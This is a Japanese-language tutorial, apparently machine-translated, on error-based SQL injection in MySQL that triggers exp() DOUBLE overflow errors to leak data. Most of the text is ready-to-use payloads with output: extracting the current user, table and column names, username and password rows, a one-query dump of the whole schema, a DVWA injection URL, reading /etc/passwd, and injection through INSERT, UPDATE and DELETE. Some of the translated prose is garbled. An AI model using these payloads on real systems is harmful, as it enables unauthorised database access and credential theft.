0x01 はじめに概要
編集者は、MySQL で別の Double データ オーバーフローを発見しました。 MySQL で関数を取得する場合、エディターは数学関数に関心があり、値を保存するためのいくつかのデータ型も含まれている必要があります。そこでエディターは、どの関数がオーバーフロー エラーを引き起こすかを確認するテストを実行しました。その後、編集者は、709 より大きい値が渡されると、関数 exp() がオーバーフロー エラーを引き起こすことを発見しました。
<p>mysql> select exp(709);<br>+-----------------------+<br>| exp(709) |<br>+-----------------------+<br>| 8.218407461554972e307 |<br>+-----------------------+<br>1 row in set (0.00 sec)</p><p>mysql> select exp(710);<br>ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'</p>
MySQL では、exp、ln、log の関数は逆です。簡単に紹介すると、log と ln はどちらも e を底とする対数を返します (式を参照)。
<p>mysql> select log(15);<br>+------------------+<br>| log(15) |<br>+------------------+<br>| 2.70805020110221 |<br>+------------------+<br>1 row in set (0.00 sec)</p><p><br>mysql> select ln(15);<br>+------------------+<br>| ln(15) |<br>+------------------+<br>| 2.70805020110221 |<br>+------------------+<br>1 row in set (0.00 sec)</p>
mysql> select exp(2.70805020110221); +-----------------------+ | exp(2.70805020110221) | +-----------------------+ | 15 | +-----------------------+ 1 row in set (0.00 sec)
0x02 インジェクション
インジェクションに関しては、否定クエリを使用して「DOUBLE value」を発生させます。範囲外です」というエラーが発生します。著者の以前のブログ投稿で述べたように、0 をビットごとに反転すると「18446744073709551615」が返されます。また、関数は実行に成功すると 0 を返すため、正常に実行された関数を反転すると、*** unsigned 値が返されます。BIGINT 値。<p>mysql> select ~0;<br>+----------------------+<br>| ~0 |<br>+----------------------+<br>| 18446744073709551615 |<br>+----------------------+<br>1 row in set (0.00 sec)</p><p><br>mysql> select ~(select version());<br>+----------------------+<br>| ~(select version()) |<br>+----------------------+<br>| 18446744073709551610 |<br>+----------------------+<br>1 row in set, 1 warning (0.00 sec)</p>サブクエリとビット単位の否定を使用して DOUBLE オーバーフロー エラーを作成し、これを使用してデータを挿入します。
>`exp(~(select*from(select user())x))` mysql> select exp(~(select*from(select user())x)); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
0x03 データの挿入
テーブル名取得:select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));列名取得:
select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x));データ取得:
select exp(~ (select*from(select concat_ws(':',id, username, password) from users limit 0,1)x));
0x04 Overnight
このクエリでは、現在のコンテキストからすべてのテーブルと列をダンプできます。データベース全体をダンプすることもできますが、エラーを介して抽出しているため、返される結果はほとんどありません。exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)) http://localhost/dvwa/vulnerabilities/sqli/?id=1' or exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))-- -&Submit=Submit#
0x05 ファイルの読み取り
load_file() 関数を使用してファイルを読み取ることができますが、作成者は、は 13 行の制限ですが、このステートメントは BIGINT オーバーフロー インジェクションでも使用できます。select exp(~(select*from(select load_file('/etc/passwd'))a));
mysql> select exp(~(select*from(select 'hello')a)) into outfile 'C:/out.txt'; ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'hello' from dual)))' # type C:\out.txt 0
0x06 Insert でのインジェクション
手順に従ってくださいmysql> insert into users (id, username, password) values (2, '' ^ exp(~(select*from(select user())x)), 'Eyre'); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'DIOS クエリは、すべての挿入、更新、および削除ステートメントにも使用できます。
mysql> insert into users (id, username, password) values (2, '' | exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)), 'Eyre'); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '000 newdb::users::id newdb::users::username newdb::users::password' from dual)))'
0x07 Update でのインジェクション
mysql> update users set password='Peter' ^ exp(~(select*from(select user())x)) where id=4; ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
0x08 Delete でのインジェクション
mysql> delete from users where id='1' | exp(~(select*from(select user())x)); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'前の BIGINT インジェクションと同じ、exp インジェクションMySQL5.5.5以降にも適用されます。以前のバージョンでは、この状況について「沈黙」していました。
mysql> select version(); +---------------------+ | version() | +---------------------+ | 5.0.45-community-nt | +---------------------+ 1 row in set (0.00 sec) mysql> select exp(710); +----------+ | exp(710) | +----------+ | 1.#INF | +----------+ 1 row in set (0.00 sec) mysql> select exp(~0); +---------+ | exp(~0) | +---------+ | 1.#INF | +---------+ 1 row in set (0.00 sec)この種のエラーを生成する関数が他にもある可能性があります。
以上がSQLエラーインジェクションにexpを使用する方法の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。